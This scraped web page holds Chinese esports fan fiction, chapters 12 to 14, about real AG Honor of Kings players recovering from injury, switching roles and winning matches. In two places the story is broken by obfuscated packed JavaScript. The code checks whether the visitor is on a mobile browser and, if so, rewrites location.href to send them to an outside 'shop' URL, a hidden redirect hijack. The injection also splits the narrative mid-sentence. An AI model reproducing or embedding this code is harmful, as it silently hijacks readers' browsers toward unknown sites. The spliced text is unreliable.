0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028850|194480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>然后,他操作了。 狄仁杰净化秒解控制,闪现拉开距离,反手大招定住暖阳的猪八戒。然后,疯狂输出。 一箭,两箭,三箭—— “Double Kill!” “Triple Kill!” 三杀! WB只剩下不知火舞和马超,无力回天。 AG带着兵线,一波推平水晶。 3:2! AG让二追三,拿下揭幕战! --- 现场彻底疯狂了。 AG粉丝区,所有人都在尖叫,在欢呼,在哭泣。林晓晓抱着陈薇,眼泪止不住地流。 舞台上,AG五人紧紧拥抱。钟意激动得跳起来,长生推了推眼镜,大帅和轩染击掌。 徐必成摘下耳机,大口喘气。 手腕的疼痛已经到了无法忽视的地步。他必须用左手紧紧握住右手手腕,才能止住颤抖。 导播把镜头给到他。大屏幕上,这个19岁的少年脸色苍白,额头全是汗,但眼睛很亮。 赛后采访,记者把话筒递给徐必成。 “让二追三,感觉怎么样?” 徐必成想了想,说:“很累。但赢了,就值得。” “前两局你的状态好像不太好,后三局突然爆发,是怎么调整的?” 徐必成看了一眼自己的右手:“前两局,我在想我的手腕,在想我的操作,在想我能不能回到从前。后三局,我不想这些了。我就想赢。手腕疼就疼吧,操作变形就变形吧,只要能赢,怎么样都行。” 记者愣住了。 弹幕也安静了几秒,然后疯狂刷屏: “泪目” “一诺加油” “电竞精神” 采访结束,徐必成回到后台。 队医冲上来,快速检查他的手腕。 “必须冰敷。”队医说,“不能再这样高强度比赛了。” “下一场什么时候?”徐必成问。 “三天后,打Estar。” “我能打。” “可是你的手……” “我能打。”徐必成重复,眼神坚定。 --- 深夜,AG基地训练室。 徐必成一个人坐在电脑前,右手腕裹着冰袋。他打开今天的比赛录像,从第一局开始看。 每一个走位,每一个技能,每一个失误——都放大来看。 笔记本上,他写下: 第一局,7分32秒,走位慢了0.2秒,被西施拉中。原因:手腕僵硬,微操变形。 第一局,12分15秒,输出位置不好,被关羽切死。原因:怕死,站位太靠后。 第二局…… 第三局…… 一页,两页,三页。 全是问题。 全是失误。 他关掉录像,打开训练营。选狄仁杰,对着木桩练习走A。一下,两下,三下——手腕传来刺痛,操作变形。 再来。 一下,两下,三下——还是变形。 再来。 他练了整整一个小时,直到冰袋化掉,手腕肿得像馒头。 手机震动,是Cat发来的消息:“看了比赛,前三局打得不好,后两局打得很好。但你的手……” “疼。”徐必成回复,“但能忍。” “别硬撑。”Cat说,“职业生涯还长。” “Cat哥,你知道我现在最怕什么吗?” “什么?” “最怕的不是手疼,不是输比赛,是……”徐必成打字的手停住了,很久才继续,“是怕我再也回不到从前了。怕那个敢一推四的公孙离,再也回不来了。” 这次,Cat过了很久才回:“那就不要回到从前。” 徐必成愣住。 “为什么要回到从前?”Cat说,“你不能永远是2019年那个一诺。你要成为2022年的一诺,2023年的一诺,甚至2025年的一诺。每个阶段有每个阶段的打法,每个版本有每个版本的适应。如果执着于回到从前,你会错过现在。” 徐必成盯着这段话,看了三遍。 然后他回复:“我明白了。” 关掉手机,他重新打开训练营。但这次,他不练走A了,他练站位,练意识,练大局观。 手腕不行,就用脑子打。 操作下滑,就用意识弥补。 他不能永远是那个靠操作carry的一诺。 但他可以成为靠意识、靠指挥、靠团队赢比赛的一诺。 --- 三天后,AG vs Estar。 这是Cat退役后,AG第一次面对老对手。Estar这个赛季状态火热,目前三战全胜,排在联盟第一。 赛前预测,七成的人认为Estar会赢。 比赛开始前,徐必成在后台遇到了Estar的教练——正是刚刚退役转型的Cat。 “Cat哥。”徐必成打招呼。 “手怎么样了?”Cat问。 “好多了。”徐必成活动了一下手腕,“今天能打。” “那就好好打。”Cat拍拍他肩膀,“让我看看,你成长了多少。” 比赛开始。 第一局,徐必成主动要求拿工具人射手——狄仁杰。把carry的机会让给钟意和长生。 这一局,AG赢了。 钟意的镜carry全场,拿下三杀。 1:0。 第二局,Estar调整战术,疯狂针对钟意。但AG也变了——这一局,核心是长生。 他的干将莫邪,四剑全中,秒掉Estar的双C。 2:0。 第三局,Estar背水一战,拿出了大乔体系。但AG的应对更胜一筹,不断抓单,不断推塔。 3:0。 AG零封Estar! 三战全胜的Estar,被AG横扫! 赛后采访,记者把话筒递给徐必成:“今天三局你都拿了工具人射手,是战术安排吗?” “是。”徐必成说,“我的手腕还在恢复期,carry能力有限。但工具人射手不需要太多操作,只需要意识和站位。我能做好这些,就够了。” “那你会一直打工具人吗?” “不会。”徐必成看向镜头,“等我的手腕完全恢复了,我会重新carry。但现在,赢比赛最重要。不管是工具人还是核心,能赢就行。” 采访结束,徐必成收到Cat的消息:“今天打得很好。你终于明白了——赢比赛的方式,不止一种。” “是你教我的。” “不,是你自己悟到的。” 关掉手机,徐必成看向窗外。 夜幕降临,成都的灯火次第亮起。 他的手腕还在疼。 他的操作还没完全恢复。 但他不再焦虑了。 因为他知道,电竞的路很长,赢比赛的方式很多。 他不必执着于回到从前。 他只需要,一直往前走。 一直赢下去。 这就是归来的意义。 不是回到原点。 是带着伤痕,走向新的起点。 【第十二章·完】 13. 中核时代的荣光 2022年4月,成都AG超玩会基地 春雨绵绵,敲打着训练室的窗户,在玻璃上留下蜿蜒的水痕。室内暖气开得很足,但长生还是觉得指尖冰凉——不是冷的,是紧张的。 他盯着电脑屏幕上密密麻麻的数据表格,那是分析师刚整理出来的春季赛中单英雄登场率统计。排在前三的分别是:沈梦溪、弈星、周瑜——都是工具人中单,清线快,支援快,控制足,但carry能力有限。 “中核时代?”长生推了推眼镜,自言自语。 这个词最近在电竞圈疯传。版本更新后,中单经济占比平均提高了8%,核心输出中单的胜率暴涨。干将莫邪、不知火舞、上官婉儿——这些曾经被版本抛弃的法刺英雄,重新回到了赛场中央。 而长生,AG的中单,正好是法刺绝活哥。 手机震动,是妈妈发来的消息:“儿子,妈妈看到新闻了,说现在版本对你有利。好好打,别紧张。” 长生盯着那条消息,手指在键盘上悬停。他想说“我会的”,但打出来的字又删掉了。 压力太大了。 春季赛开赛至今,AG战绩7胜2负,排在联盟第三。一诺的手腕基本康复,状态稳步回升。钟意的坦野炉火纯青,大帅的指挥愈发老辣,轩染的边路稳如泰山。 而他,长生,作为队伍的中单,数据却很尴尬:场均输出22.3%,联盟中单第九;分均经济480,联盟中单第十一;MVP次数2次,联盟中单第十四。 中游,甚至偏下。 “在想什么?” 身后传来声音。长生回头,看到徐必成端着两杯咖啡走过来,递给他一杯。 “没什么。”长生接过咖啡,热气氤氲了镜片。 “别骗我。”徐必成在他旁边坐下,“你最近训练赛走神次数增加了37%,复盘时话少了52%,晚上在训练室待到凌晨三点的频率提高了80%——数据分析师说的。” 长生苦笑:“诺哥,你连这都关注?” “我是队长。”徐必成说,“关注队友的状态,是我的责任。” 两人沉默了一会儿,只有雨声敲打窗户。 “诺哥,你觉得……我配打中核吗?”长生忽然问。 徐必成愣了一下:“为什么这么问?” “版本对我有利,队伍需要我carry,粉丝期待我爆发。”长生握紧咖啡杯,“但我打出来的数据……很难看。工具人中单我玩得还行,但法刺……我总觉得自己差一点。” “差哪一点?” “差……”长生想了想,“差那种‘我一定要杀你’的狠劲。你看清融的不知火舞,那种进场的气势,那种必杀的决心。我……我没有。” 徐必成没说话,只是喝了一口咖啡。 良久,他才开口:“长生,你知道我2019年打总决赛的时候,在想什么吗?” “想赢?” “不。”徐必成摇头,“我想的是——我要秀。我要让所有人都记住我的操作,我要打出名场面,我要成为传奇。” 他顿了顿:“但2021年我手术回来,再打比赛的时候,想的就不是这些了。我想的是——怎么赢。用什么方式赢不重要,重要的是赢。我可以用公孙离carry赢,也可以用狄仁杰躺赢。只要赢了,就行。” 长生若有所思。 “你现在缺的不是技术,是心态。”徐必成看着窗外,“你想的是‘我能不能carry’,而不是‘我怎么带队伍赢’。法刺和工具人的区别,不只是英雄,是思维方式。工具人想的是——我怎么帮队友?法刺想的是——我怎么杀穿对面?” 雨声渐大,训练室的灯光在窗户上投下两人的倒影。 “明天打狼队,我们会围绕你打。”徐必成站起来,“你是核心,所有的经济都给你,所有的保护都给你。你要做的,就是相信自己,然后——杀穿他们。” 说完,他拍了拍长生的肩膀,离开了训练室。 长生一个人坐在那里,盯着电脑屏幕上自己的比赛录像。 画面里,他的不知火舞在团战边缘徘徊,寻找进场机会,但总是犹豫,总是错过最佳时机。 差一点。 就是差那一点决心。 他关掉录像,打开训练营。选不知火舞,对着木桩练习连招。一闪接大,二技能接被动,一技能接闪现——每个连招都练了上百遍。 练到手指发麻,练到眼睛发花。 但他知道,技术不是问题。 问题在心里。 --- 同一时间,上海医学院图书馆。 林晓晓盯着笔记本电脑上的论文,但一个字也看不进去。屏幕上开着KPL的官网,AG的赛程表高亮显示——明天,AG vs 重庆狼队。 她点开狼队的数据分析。清融,联盟顶级中单,法刺绝活哥,本赛季MVP次数5次,场均输出27.8%,分均经济510。 而长生,MVP次数2次,场均输出22.3%,分均经济480。 差距明显。 手机震动,是陈薇发来的微信:“晓晓,看了明天的赛前分析吗?长生对清融,中路对决,被认为是比赛的关键。” “看了。”林晓晓回复,“长生压力会很大。” “你觉得他能赢吗?” 林晓晓想了想,回复:“不知道。但我知道,他需要有人相信他。” 关掉微信,她打开微博,找到长生的超话。里面大多是加油帖,但也有不和谐的声音: “长生打打工具人就得了,法刺真不行” “中路差距,AG明天难了” “清融教做人” 她咬了咬嘴唇,开始打字。 不是分析,不是预测,是一封信。 “长生选手,你好。我是你的粉丝,也是医学院的学生。我不懂电竞战术,但我知道,人在面对巨大压力时,身体会分泌肾上腺素,心跳会加快,手心会出汗——这是正常的生理反应,不是恐惧,是身体在准备战斗。 我知道你现在压力很大。版本对法刺有利,队伍需要你carry,所有人都看着你。但我想告诉你,没关系。赢了,我们为你欢呼;输了,我们陪你复盘。你不是一个人在战斗,你的身后有队友,有教练,还有我们这些相信你的人。 所以,放开打吧。不要想‘我能不能carry’,就想‘我要怎么赢’。输赢很重要,但比输赢更重要的是——你有没有拼尽全力。 明天,我会去现场。我会举着你的应援牌,大声喊你的名字。不为别的,只为告诉你:有人相信你,一直相信。” 点击发送。 然后,她打开购票软件,买了明天去成都的机票。 --- 次日,成都主场。 能容纳三千人的场馆座无虚席。AG的黑色应援灯和狼队的红色应援灯把观众席分割成两个阵营,像两军对垒。 林晓晓坐在第三排,手里举着连夜赶制的手幅——上面画着Q版的长生,旁边写着“长生不老,法刺通天”。陈薇坐在她旁边,手里拿着AG的队旗。 “紧张吗?”陈薇问。 “嗯。”林晓晓点头,“比我自己考试还紧张。” 舞台上,两队选手已经入场。长生走在队伍中间,戴着一副黑框眼镜,表情严肃。导播给了一个特写镜头,能清楚看到他额角的汗珠。 解说席上,Cat穿着深蓝色西装,正在分析阵容。 “今天的关键对决在中路。”Cat说,“清融是现役第一法刺,长生是新生代中单的代表。这场对决,将决定比赛的走向。” 李九接话:“而且版本对法刺有利,两支队伍都可能围绕中单打。就看哪边的中单能carry起来了。” BP开始。 狼队蓝色方,第一轮禁用了镜和澜——针对钟意。AG则按掉了大乔和鲁班大师。 狼队一楼抢下了清融的招牌英雄——不知火舞。 现场一片哗然。在对手面前抢招牌英雄,这是赤裸裸的挑衅。 AG这边,教练Awoke看向长生:“敢拿干将吗?” 长生盯着那个不知火舞的头像,深吸一口气:“拿。” 一楼锁定干将莫邪。 “针尖对麦芒!”李九激动地说,“清融不知火舞对阵长生干将莫邪,中路对决直接拉满!” 狼队二三楼拿出了Fly的关羽和小胖的裴擒虎。 AG三四楼选择了徐必成的马可波罗和钟意的阿古朵。 狼队最后两手锁定了妖刀的公孙离和帆帆的张飞。 AG五楼,轩染拿出了他的招牌英雄——花木兰。 阵容确定: AG:干将莫邪(长生)、马可波罗(一诺)、阿古朵(钟意)、太乙真人(大帅)、花木兰(轩染) 狼队:不知火舞(清融)、公孙离(妖刀)、裴擒虎(小胖)、张飞(帆帆)、关羽(Fly) 加载界面,长生活动了一下手指。 冰凉,僵硬。 耳机里传来徐必成的声音:“长生,记住昨天说的。你是核心,我们都保你。你只管输出,别的不用管。” “明白。”长生说,声音有些发紧。 游戏开始。 开局,清融的不知火舞打得极其凶悍。一级就压线,二级就消耗,三级就想单杀。长生的干将虽然手长,但在不知火舞的灵活面前,还是有些吃力。 “需要帮忙吗?”钟意问。 “不用。”长生说,“我能稳住。” 但稳住是不够的。中核版本,中单不仅要稳住,还要carry。四分钟,暴君刷新,双方在龙坑集结。 第一波团战,决定前期节奏。 清融的不知火舞在侧翼寻找机会。长生的干将莫邪在后方蓄力。两人都在等,等对方先动。 然后,清融动了。 不知火舞一闪进场,目标直指徐必成的马可波罗!但徐必成净化秒解,反手一技能扫射。几乎同时,长生的干将莫邪四剑齐发—— 但空了。 清融的不知火舞用被动位移躲开了所有飞剑,反手一套连招秒掉大帅的太乙真人! “First Blood!” 不知火舞拿下一血! “清融!”李九惊呼,“完美的进场时机,完美的操作!” AG团战溃败,丢掉暴君,经济落后一千。 长生盯着灰色的屏幕,手指在颤抖。 刚才那波,他的干将如果命中,不知火舞必死,团战结果完全不一样。但他犹豫了——在释放技能的瞬间,他想到的是“万一空了怎么办”,而不是“一定能中”。 就是这零点几秒的犹豫,让四剑空了。 “我的问题。”他说。 “没事。”徐必成很冷静,“下一波找回来。” 但接下来的比赛,长生越打越急。想证明自己,想carry队伍,结果操作越来越变形。干将的飞剑十次有七次空,团战输出严重不足。 而清融的不知火舞,像一把匕首,每一次进场都直插AG的心脏。 十五分钟,经济差扩大到五千。 二十分钟,风暴龙王团。清融的不知火舞闪现开团,秒掉徐必成的马可波罗和长生的干将莫邪。 双C阵亡,AG团灭。 狼队带着兵线,一波推平水晶。 0:1。 AG输掉第一局。 --- 中场休息,AG休息室。 气氛凝重得能拧出水来。 长生坐在角落里,低着头,眼镜片反着光,看不清表情。钟意想说点什么,但被徐必成用眼神制止了。 Awoke在白板上快速画着下一局的战术:“狼队的中路压制太强,我们不能和他们拼中单。第二局,我们打野核,围绕钟意打。” “可是版本……”大帅想说版本对中单有利。 “版本重要,但赢比赛更重要。”Awoke说,“长生,第二局你拿张良,工具人中单,保钟意发育。” 长生抬起头,声音沙哑:“教练,我想再试一次。” “试什么?” “试法刺。”长生说,“我想和清融再拼一次。” Awoke皱眉:“你的状态……” “我能调整过来。”长生站起来,“刚才那局,我太想证明自己了,反而打不好。这一局,我不想了。我就想赢。不管用什么方式,只要能赢,就行。” 他看向徐必成,眼神里有种不一样的东西——不再是犹豫,而是决绝。 徐必成笑了:“好。第二局,我们继续打中核。但这一次,长生,你要记住——你不是在证明自己,你是在带队伍赢。” “明白。” 休息时间结束,五人重新上场。 导播给了一个特写镜头——长生在活动手指,表情平静,眼神专注。 “AG好像调整过来了。”李九说,“看长生的表情,比第一局沉稳了很多。” --- 第二局BP开始。 AG蓝色方,一楼锁定了不知火舞——长生要拿清融的招牌英雄,对阵清融。 现场一片惊呼。这是回应,是挑战,是电竞选手之间最直接的对话。 清融看到这个选择,笑了。他在语音里说:“有意思。” 狼队反手拿出了清融的另一绝活——上官婉儿。既然你要拼法刺,那就拼到底。 阵容确定: AG:不知火舞(长生)、马可波罗(一诺)、阿古朵(钟意)、张飞(大帅)、花木兰(轩染) 狼队:上官婉儿(清融)、公孙离(妖刀)、裴擒虎(小胖)、东皇太一(帆帆)、关羽(Fly) 加载界面,长生闭上眼睛,深呼吸。 耳机里传来队友的声音: “长生,我相信你。”——徐必成 “我帮你抢线。”——钟意 “我保护你。”——大帅 “我切后排。”——轩染 长生睁开眼睛,眼神锐利如刀。 “这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028851|194480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 局,我会carry。” 游戏开始。 开局,长生打得异常沉稳。不清线,只补刀,不做无谓的消耗。清融的上官婉儿想压他,但长生的不知火舞走位极其刁钻,总是卡在技能的极限距离。 “他在学我。”清融在语音里说,“学我的打法,学我的节奏。” 但长生不止在学,还在创新。三分钟,他升到四级,没有像常规那样去抓边,而是——入侵野区。 配合钟意的阿古朵,直接反掉了小胖的红Buff。清融的上官婉儿想来支援,但被徐必成的马可波罗拖住。 节奏开始转向AG。 六分钟,中路河道之灵刷新。双方集结,准备打团。清融的上官婉儿想要起飞,但长生的不知火舞更快——一闪进场,秒掉妖刀的公孙离! “First Blood!” 不知火舞拿下一血! “漂亮!”Cat在解说席上喝彩,“这波进场时机完美!长生完全预判了清融的想法!” 接下来的比赛,长生彻底打开了。他的不知火舞像幽灵一样在战场上穿梭,每一次进场都带走一个人头。清融的上官婉儿虽然也操作拉满,但面对一个完全打开的长生,还是显得有些无力。 十二分钟,AG经济领先三千。 十五分钟,风暴龙王团。清融的上官婉儿想要绝命一波,但长生的不知火舞从侧面进场,一套连招秒掉上官婉儿! 核心阵亡,狼队团战溃败。AG拿下龙王,带着兵线一波推平水晶。 1:1! AG扳回一局! “长生!”李九激动地喊道,“他做到了!在清融面前,用清融的招牌英雄,carry了比赛!” 现场AG粉丝沸腾了。林晓晓跳起来,用力挥舞着手幅。陈薇也激动得眼眶发红。 舞台上,长生摘下耳机,擦了擦额头的汗。 手还在抖,但这次不是因为紧张,是因为兴奋。 “打得好。”徐必成拍拍他肩膀。 “还没完。”长生说,“下一局,继续。” --- 第三局,狼队调整战术,疯狂针对中路。 但长生已经找到了节奏。你针对我,我就游走。你压我线,我就放线。你抓我,我就反蹲。 这一局,他拿了工具人中单——张良。但和第一局的张良不同,这一局,他的张良是节奏发动机。大招永远留给关键人物,游走永远快人一步。 2:1,AG反超比分。 第四局,清融拿出了压箱底的英雄——干将莫邪。他要和长生拼刺刀。 长生选了上官婉儿。 两个法刺,两个绝活,正面硬刚。 这一局打得天昏地暗。中路成了修罗场,两个人从一级打到十五级,从线上打到野区,从暴君打到风暴龙王。 最终,长生赢了。 他的上官婉儿在风暴龙王团中,极限换掉清融的干将,为队友创造了收割机会。 3:1,AG拿下赛点! --- 第五局,巅峰对决。 双方阵容完全镜像:不知火舞、马可波罗、阿古朵、张飞、花木兰。 十个一模一样的英雄,绝对的公平,也绝对的残酷。 加载界面,长生在语音里说:“这一局,我会杀穿中路。” “我们相信你。”四个队友齐声说。 游戏开始。 这一局,双方都打得极其谨慎。前十分钟,人头比2:2,经济差始终在五百以内。 导播很懂地把镜头在中路对线上。大屏幕上,长生的不知火舞和清融的不知火舞在兵线间穿梭,技能互换,走位博弈。 两个顶级中单,在镜像对决中,展现着极致的操作。 十三分钟,暴君团。 决定胜负的一波。 清融的不知火舞在侧翼寻找机会。长生的不知火舞在后方蓄力。两人都在等,等对方先动。 和第一局一样。 但这一次,长生先动了。 不知火舞一闪进场——但不是冲向清融,是冲向妖刀的马可波罗! 声东击西! 清融的反应快到极致,立刻跟上输出。但长生的不知火舞在秒掉马可波罗后,瞬间回头,一套连招打在清融身上! 一打二,双杀! “Double Kill!” “长生!”Cat的声音已经嘶哑,“他做到了!在巅峰对决中,完成了对清融的双杀!” 核心双C阵亡,狼队团战溃败。AG拿下暴君,带着兵线推上高地。 狼队顽强抵抗,但终究不敌。 水晶爆炸。 4:1! AG战胜狼队! --- 现场彻底疯狂了。 AG粉丝区,所有人都在尖叫,在欢呼,在哭泣。林晓晓抱着陈薇,泪流满面。 舞台上,AG五人紧紧拥抱。钟意激动得跳起来,大帅和轩染击掌,徐必成红着眼眶。 长生摘下眼镜,擦了擦眼泪。 导播把镜头给到他。大屏幕上,这个19岁的中单少年,哭得像个孩子。 赛后采访,记者把话筒递给长生。 “今天carry全场,感觉怎么样?” 长生想了想,说:“不是carry,是团队。没有队友的保护,没有队友的信任,我打不出这样的表现。是他们相信我,我才敢打。” “那和清融的对决呢?赛前很多人都说,这是‘中单教学局’。” 长生笑了:“我确实从他身上学到了很多。第一局,他教会了我——中单不仅要操作,还要心态。后几局,我想明白了——我不是要战胜清融,我是要带着AG赢。赢了,就够了。” 采访结束,长生回到后台。 手机震动,是妈妈发来的消息:“儿子,妈妈看了比赛,哭了。你长大了。” 长生盯着那条消息,很久。 然后他回复:“妈,这才刚刚开始。” --- 深夜,AG基地训练室。 长生没有复盘比赛,而是打开了明天的对手——广州TTG的比赛录像。TTG的中单九尾,也是法刺绝活哥,实力不在清融之下。 但他不紧张了。 因为现在他知道,他不是一个人在战斗。 他有队友,有信任,有整个团队。 中核时代,不只是中单carry的时代。 是中单带领团队赢的时代。 而他,准备好了。 窗外,雨停了,月光透过云层洒下来。 长生看着自己的手,手指修长,掌心有薄茧。 这只手,曾经犹豫过,颤抖过。 但现在,它很稳。 稳到可以握住整个团队的希望。 稳到可以carry整个赛季的荣光。 中核时代的序幕,才刚刚拉开。 而他,要成为这个时代的——主角。 【第十三章·完】 14. 五核之心 2022年5月,成都AG超玩会训练基地 蝉鸣在黄昏时分达到顶峰,像某种持续不断的心跳。训练室里,空调无声运转,带走初夏的闷热,却带不走空气中弥漫的焦灼。 轩染盯着电脑屏幕上的数据面板,手指无意识地敲击桌面。场均承伤32.8%,联盟边路第一;分均经济420,联盟边路倒数第五;场均击杀2.1,联盟边路第十三。 坦边数据。 典型的抗压位,团战搅屎棍,团队牺牲品。 他闭上眼睛,脑海里闪过昨晚训练赛的最后一波团战——他的廉颇闪现开团,大起三人,为长生和钟意创造了完美的输出环境。团战赢了,比赛赢了,队友们在语音里激动地喊“nice”。 但没人喊他的名字。 赛后复盘,教练指着屏幕说:“轩染这波开团很好,时机完美,角度刁钻。” 很好,完美,刁钻。 然后就没有然后了。 就像他的职业生涯,永远在“很好”的范畴里,永远够不到“惊艳”。 “在想什么?” 轩染睁开眼,看到徐必成递过来一瓶冰水。 “没什么。”他接过水,拧开瓶盖,“有点累。” “坦边打法是累。”徐必成在他旁边坐下,“要扛伤害,要开团,要让经济,要保护队友。脏活累活都是你干,高光时刻都是别人拿。” 轩染没说话,只是喝水。 “但你知道为什么教练一直让你打坦边吗?”徐必成问。 “因为我打得好。” “不。”徐必成摇头,“因为你是联盟最稳的坦边。稳到队友可以放心把后背交给你,稳到教练可以围绕你设计战术,稳到AG可以毫无顾忌地打中核、打野核、打射核。” 他顿了顿:“轩染,你明白吗?你不是不够强,你是太稳了。稳到所有人都忘了,你其实也是个天才少年,你也有carry的能力。” 轩染握紧水瓶,指节泛白。 三年前,他刚进青训时,打的是战边。关羽、马超、花木兰——那些能秀操作、能拿五杀、能当英雄的英雄。那时的他,打法凶悍,操作犀利,被称为“边路杀神”。 然后他被选进AG,教练说:“队伍需要坦边,你转型吧。” 他就转型了。猪八戒、廉颇、夏侯惇——那些笨重、朴实、为团队服务的英雄。一打就是两年。 他打得很好,好到所有人都认为,他就该打坦边。 包括他自己。 “诺哥。”轩染开口,声音有些沙哑,“如果……如果我想打战边,还有机会吗?” 徐必成看着他,看了很久,然后笑了:“有。下一场打TTG,TTG的清清是联盟第一战边。你敢和他对位吗?” “敢。” “好。”徐必成站起来,“我去和教练说。下一场,你打战边。” --- 同一时间,上海医学院实验室。 林晓晓盯着显微镜下的肌纤维切片,脑子里却在计算另一种数据——轩染最近三个月的英雄使用记录。 猪八戒:23场 廉颇:18场 夏侯惇:15场 白起:12场 项羽:9场 战边英雄呢? 马超:3场 关羽:2场 花木兰:1场 比例悬殊得刺眼。 她打开手机,看到AG超话里正在热议下一场对阵TTG的比赛。TTG有清清,联盟公认的第一战边,关羽、马超、花木兰的绝活哥。 “AG肯定又会让轩染拿坦边抗压” “没办法,清清太强了,只能抗压” “轩染抗压还是稳的,至少不会崩” 她盯着这些评论,手指在键盘上悬停。然后,她打开一个加密文件夹,里面是她收集的关于“电竞选手职业倦怠”的研究论文。 有一篇论文提到:长期担任固定角色(如坦边、工具人中单)的选手,容易出现自我价值感降低、竞技动机下降、甚至产生“我永远只是配角”的心理暗示。 轩染,已经打了两年坦边了。 手机震动,是陈薇发来的微信:“晓晓,下周末AG打TTG,我去现场。你呢?” 林晓晓回复:“我也去。” “那一起。不过……”陈薇顿了顿,“我有点担心轩染。他最近状态好像不太对。” “你也感觉到了?” “嗯。虽然数据上看没问题,但总觉得……少了点什么。” 林晓晓看着显微镜下的肌纤维切片,忽然想到:肌肉长期只进行一种类型的训练(如耐力训练),会导致爆发力下降。那么选手呢?长期只打坦边,会不会也让他的carry能力“肌肉萎缩”了? 她关掉显微镜,打开电脑,开始写一封邮件。 收件人:AG俱乐部心理辅导师。 主题:关于选手轩染的角色定位与心理状态观察。 内容:基于公开比赛数据及粉丝社群观察,建议关注选手轩染的长期坦边定位对其竞技状态及心理健康的潜在影响…… 写完后,她犹豫了一下,还是点击了发送。 --- 三天后,AG vs 广州TTG,成都主场。 赛前预测,六成的人认为TTG会赢——因为清清的存在。这个赛季,清清的马超已经拿了三次五杀,关羽绕后开团的名场面数不胜数,花木兰更是被称为“边路天花板”。 而AG这边,轩染依然被预测会拿坦边抗压。 “今天的关键在边路。”解说席上,Cat穿着灰色西装,表情专注,“清清是现役第一战边,轩染是联盟最稳坦边。这场对决,将决定比赛的走向。” 李九接话:“但版本对坦边有利啊。猪八戒、廉颇、夏侯惇都是版本T1,战边反而有些乏力。AG可能会利用版本优势,让轩染拿坦边,拖垮清清。” 观众席上,林晓晓和陈薇坐在一起,手里举着轩染的应援牌——这是她们连夜赶制的,上面写着“轩染,你的关羽也很强”。 “你说……教练会让他打战边吗?”林晓晓问。 “不知道。”陈薇摇头,“但我觉得,该让他试试了。” 舞台上,BP开始。 TTG蓝色方,第一轮禁用了镜和澜——针对钟意。AG则按掉了大乔和鲁班大师。 TTG一楼抢下了清清的招牌英雄——关羽。 现场一片哗然。先手抢关羽,这是自信,也是挑衅。 AG这边,教练Awoke看向轩染:“拿什么?猪八戒还是廉颇?” 轩染盯着那个关羽的头像,深吸一口气:“马超。” 所有人都愣住了。 “马超?”Awoke皱眉,“你想和清清对位?” “想。” Awoke看向徐必成,徐必成点头:“让他打。” Awoke沉吟两秒,点头:“好。一楼马超。” AG锁定马超! “马超?!”李九惊呼,“AG一楼抢马超!这是要让轩染和清清正面硬刚啊!” 现场炸了。AG粉丝欢呼,TTG粉丝起哄,中立观众兴奋——边路对决,战边对拼,这是最好看的戏码! TTG显然也没料到。他们在二三楼犹豫了很久,最后拿出了九尾的西施和不然的裴擒虎。 AG三四楼选择了长生的不知火舞和钟意的阿古朵。 TTG最后两手锁定了钎城的公孙离和冰尘的张飞。 AG五楼,徐必成拿出了他的招牌英雄——公孙离。 阵容确定: AG:马超(轩染)、不知火舞(长生)、公孙离(一诺)、阿古朵(钟意)、太乙真人(大帅) TTG:关羽(清清)、西施(九尾)、公孙离(钎城)、裴擒虎(不然)、张飞(冰尘) 加载界面,轩染活动了一下手指。 冰凉,僵硬。 他已经两年没有在正式比赛中拿过马超了。上一次,还是在青训营。 “紧张吗?”徐必成问。 “有点。”轩染实话实说。 “正常。”徐必成说,“但记住,你不是在和清清打,你是在和两年前的自己打。那个被称为‘边路杀神’的自己。” 轩染闭上眼睛,深呼吸。 再睁开时,眼神变了。 游戏开始。 开局,清清的关羽打得极其凶悍。一级就进野区骚扰,二级就想单杀。轩染的马超虽然也是战边,但在关羽面前,前期还是劣势。 “需要帮忙吗?”钟意问。 “不用。”轩染说,“我能稳住。” 但稳住是不够的。战边对决,稳住就等于输。你必须压制,必须carry,必须打出优势。 四分钟,暴君刷新,双方在龙坑集结。 第一波团战,决定前期节奏。 清清的关羽在侧翼寻找机会。轩染的马超在后方蓄力。两人都在等,等对方先动。 然后,轩染动了。 马超开启疾跑,大招召唤冷晖枪,直冲清清的关羽!清清显然没料到轩染敢先手,稍微愣了一下,就是这一愣—— 马超的枪到了。 戳,收,戳,收——行云流水的连招,每一枪都打在关羽身上。清清想要反打,但轩染的走位极其刁钻,总是卡在关羽一技能的边缘。 单杀! “First Blood!” 马超单杀关羽! “轩染!”Cat在解说席上激动地站起来,“他做到了!在清清面前,用马超单杀了清清!” 现场AG粉丝沸腾了。林晓晓跳起来,用力挥舞着手幅。陈薇也激动得眼眶发红。 舞台上,轩染的表情没有变化,只是默默回城补状态。 但耳机里,队友们已经炸了。 “牛逼啊轩染!”钟意大喊。 “打得好!”长生说。 “继续压他。”徐必成的声音很平静,但带着笑意。 接下来的比赛,轩染彻底打开了。他的马超像一道银色闪电,在战场上穿梭。带线、切后、收割——无所不能。 而清清,虽然也很强,但在一个完全打开的马超面前,还是显得有些吃力。 十二分钟,AG经济领先两千。 十五分钟,风暴龙王团。轩染的马超绕后进场,秒掉钎城的公孙离和九尾的西施! 双杀! TTG核心双C阵亡,团战溃败。AG拿下龙王,带着兵线一波推平水晶。 1:0! AG拿下第一局! “轩染carry了!”李九激动地说,“全场最高输出,最高承伤,最高经济——边路核心,当之无愧!” --- 中场休息,AG休息室。 气氛和往常完全不一样。所有人都在笑,在闹,在庆祝。 “轩染,你今天打得太帅了!”钟意用力拍他的肩膀。 “马超还是厉害啊。”长生推了推眼镜。 “继续保持。”徐必成递给他一瓶水。 轩染接过水,手还在抖。不是紧张,是兴奋。那种久违的、carry比赛的兴奋感,像电流一样流遍全身。 原来,他还能打战边。 原来,他还能carry。 原来,他不是只能抗压。 